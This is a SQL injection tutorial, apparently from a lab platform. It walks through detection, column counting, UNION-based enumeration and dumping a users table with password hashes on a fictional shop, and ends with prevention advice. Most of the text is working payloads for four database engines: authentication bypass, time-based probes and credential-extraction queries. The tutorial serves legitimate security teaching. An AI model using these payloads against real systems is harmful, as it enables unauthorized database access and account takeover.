Error-visible UNION-based SQL injection

From a single quote that breaks the query to a full UNION SELECT dump: detect the injection, count the columns, and pull the database out through a product page — with equivalent payloads for MySQL, PostgreSQL, MSSQL and Oracle.

SQL Injection: From Broken Syntax to a Full Database Dump

SQL injection (SQLi) happens when user-controlled input is concatenated straight into a SQL query. If you can alter the query's structure, you can read data the application never meant to expose — usernames, password hashes, entire tables.

This lesson walks the full path on a classic MySQL target: detect the flaw by breaking the syntax, count the columns, and use UNION SELECT to dump the database. Equivalent payloads for PostgreSQL, MSSQL and Oracle are included so you can adapt the technique to any engine. The examples track the lab's vulnerable parameter, where the backend runs something like SELECT ... FROM products WHERE id = '$input'.

Detecting the Injection

The first goal is to confirm the parameter is injectable by breaking the query's syntax. Send a single quote and watch for a SQL error, a blank response, or a change in behavior.

'
"
')

A database error (or a different page than normal input produces) means your input reaches the query unescaped. Next, confirm you control the boolean logic with classic tautologies — these are also the staple authentication-bypass payloads:

' or 1=1-- -
or 1=1 limit 1;-- -
'1 OR 1=1--
'+OR+1=1--
"+OR+1=1--
'1 AND 1=1--
' AND 1=1--

Reasoning matters more than spraying payloads. ' or 1=1-- - closes your string with the quote, injects an always-true condition, and comments out the rest of the original query with -- - (the trailing space after -- is required by MySQL). If 1=1 returns rows but 1=2 returns none, the injection is confirmed.

Blind / Time-Based Detection

When the app shows no errors and no visible data difference, fall back to time-based payloads. If the response hangs for the requested number of seconds, the injection is real even though you can't see output.

' AND SLEEP(5)/*
' OR SLEEP(5)/*
' AND '1'='1' AND SLEEP(5)
1' and sleep(5)-- -

Each engine has its own delay function — pick the one that matches your target:

MySQL        1' AND SLEEP(5)-- -
MSSQL        '; WAITFOR DELAY '00:00:05'-- -
PostgreSQL   ' || pg_sleep(10)-- -
Oracle       DBMS_PIPE.RECEIVE_MESSAGE('a',5)

Counting the Columns

A UNION SELECT only works when both queries return the same number of columns. Find that number with ORDER BY, increasing the index until the query errors out.

1' ORDER BY 1-- -
1' ORDER BY 2-- -
1' ORDER BY 100-- -

The last value that works is the column count. If ORDER BY 4 succeeds but ORDER BY 5 fails, the query has 4 columns.

Confirming UNION and Finding the Output Column

With the column count known, test a UNION SELECT using numbered placeholders. For a 4-column query:

1' UNION SELECT 1,2,3,4-- -

The numbers that appear on the page are the columns you can print data through.

Key trick: if the original query already matched a row (id = 1), the app may only render that first row and hide your UNION output. Force a non-existent record so your injected row is the only thing returned:

100' UNION SELECT 1,2,3,4-- -

Using an id that doesn't exist (100) is the single most common fix when a UNION "works" but shows nothing.

Mapping the Database

Once you have reflecting columns, swap the placeholders for information functions. Identify the current user and the active database first:

1' UNION SELECT 1,2,3,4,user(),6,7-- -
1' UNION SELECT database(),2,3,4-- -

Listing All Databases

Every database schema is cataloged in information_schema.schemata. Collapse the results into one string so they fit in a single reflected column:

MySQL        100' UNION SELECT GROUP_CONCAT(schema_name),2,3,4,5,6 FROM information_schema.schemata-- -
PostgreSQL   ' UNION SELECT string_agg(schema_name,','),2,3,4 FROM information_schema.schemata-- -
MSSQL        ' UNION SELECT STRING_AGG(schema_name,','),2,3,4 FROM information_schema.schemata-- -
Oracle       ' UNION SELECT LISTAGG(username,',') WITHIN GROUP (ORDER BY username),2,3,4 FROM all_users-- -

If aggregation is blocked or the output is truncated, walk the list one row at a time with LIMIT:

1' UNION SELECT 1,2,schema_name,4 FROM information_schema.schemata LIMIT 0,1-- -
1' UNION SELECT 1,2,schema_name,4 FROM information_schema.schemata LIMIT 1,1-- -

Increment the first LIMIT offset (0,1 → 1,1 → 2,1) to step through each database. For this lesson, assume you spot an application database named thornwell_shop.

Listing Tables

Query information_schema.tables, filtered to the database you care about:

100' UNION SELECT GROUP_CONCAT(table_name),2,3,4,5,6 FROM information_schema.tables WHERE table_schema='thornwell_shop'-- -

Other engines, same idea:

MSSQL        ' UNION SELECT STRING_AGG(table_name,','),2,3,4 FROM information_schema.tables WHERE table_catalog='thornwell_shop'-- -
PostgreSQL   ' UNION SELECT string_agg(table_name,','),2,3,4 FROM information_schema.tables WHERE table_schema='public'-- -
Oracle       ' UNION SELECT LISTAGG(table_name,',') WITHIN GROUP (ORDER BY table_name),2,3,4 FROM all_tables WHERE owner='THORNWELL_SHOP'-- -

Say this returns: products,orders,users,sessions. The users table is the target.

Listing Columns

Now read information_schema.columns for that specific table:

100' UNION SELECT GROUP_CONCAT(column_name),2,3,4,5,6 FROM information_schema.columns WHERE table_schema='thornwell_shop' AND table_name='users'-- -

Multi-engine variants:

MSSQL        ' UNION SELECT STRING_AGG(column_name,','),2,3,4 FROM information_schema.columns WHERE table_name='users'-- -
PostgreSQL   ' UNION SELECT string_agg(column_name,','),2,3,4 FROM information_schema.columns WHERE table_name='users'-- -
Oracle       ' UNION SELECT LISTAGG(column_name,',') WITHIN GROUP (ORDER BY column_name),2,3,4 FROM all_tab_columns WHERE table_name='USERS'-- -

Result: id,username,password,role,email,created_at. You now have everything needed to extract credentials.

Dumping the Credentials

Concatenate the interesting columns into one readable string. On MySQL, use a separator inside GROUP_CONCAT so each record stays legible:

100' UNION SELECT GROUP_CONCAT(username,':',password,':',role),2,3,4,5,6 FROM users-- -

A typical dump looks like this:

admin:9f86d081884c7d659a2feaa0c55ad015:admin
j.rivera:5f4dcc3b5aa765d61d8327deb882cf99:staff
t.okoro:e99a18c428cb38d5f260853678922e03:customer

Those are MD5 hashes — feed them to a cracker or a lookup to recover the plaintext and log in as admin.

Concatenation Per Engine

Each database concatenates strings differently. Use the right operator for your target:

MySQL        1' UNION SELECT GROUP_CONCAT(username,':',password),2,3,4 FROM users-- -
PostgreSQL   ' UNION SELECT string_agg(username||':'||password,','),2,3,4 FROM users-- -
MSSQL        ' UNION SELECT STRING_AGG(username+':'+password,','),2,3,4 FROM users-- -
Oracle       ' UNION SELECT LISTAGG(username||':'||password,',') WITHIN GROUP (ORDER BY username),2,3,4 FROM users-- -

Reaching Another Database

If the target table lives in a different database, reference it with the database.table syntax instead of selecting it first:

MySQL        1' UNION SELECT GROUP_CONCAT(username),2,3,4 FROM other_database.users-- -
PostgreSQL   ' UNION SELECT string_agg(username||':'||password,','),2,3,4 FROM schema.users-- -
MSSQL        ' UNION SELECT STRING_AGG(username+':'+password,','),2,3,4 FROM other_database.dbo.users-- -
Oracle       ' UNION SELECT LISTAGG(username||':'||password,',') WITHIN GROUP (ORDER BY username),2,3,4 FROM SCHEMA.USERS-- -

This whole flow — detect, count, enumerate, dump — is exactly what automated tools like sqlmap perform under the hood. Doing it by hand first makes those tools far easier to drive and debug.

Prevention

The root cause is query structure built from untrusted input. Fixing the symptom (escaping quotes) is not enough; fix the structure.

  • Parameterized queries / prepared statements. Bind user input as data, never concatenate it into the SQL string. This neutralizes every payload above.

  • Least privilege. The application's database account should not read information_schema or other databases it doesn't need — that alone breaks most enumeration steps.

  • Allowlist input. Where a value is known to be numeric (like an id), validate it as an integer before it reaches the query.

  • Store passwords correctly. A dump should never yield usable credentials; use a slow, salted hash (bcrypt, argon2) so a leaked table isn't an instant account takeover.

For a deeper reference on secure query patterns, see the OWASP SQL Injection Prevention Cheat Sheet.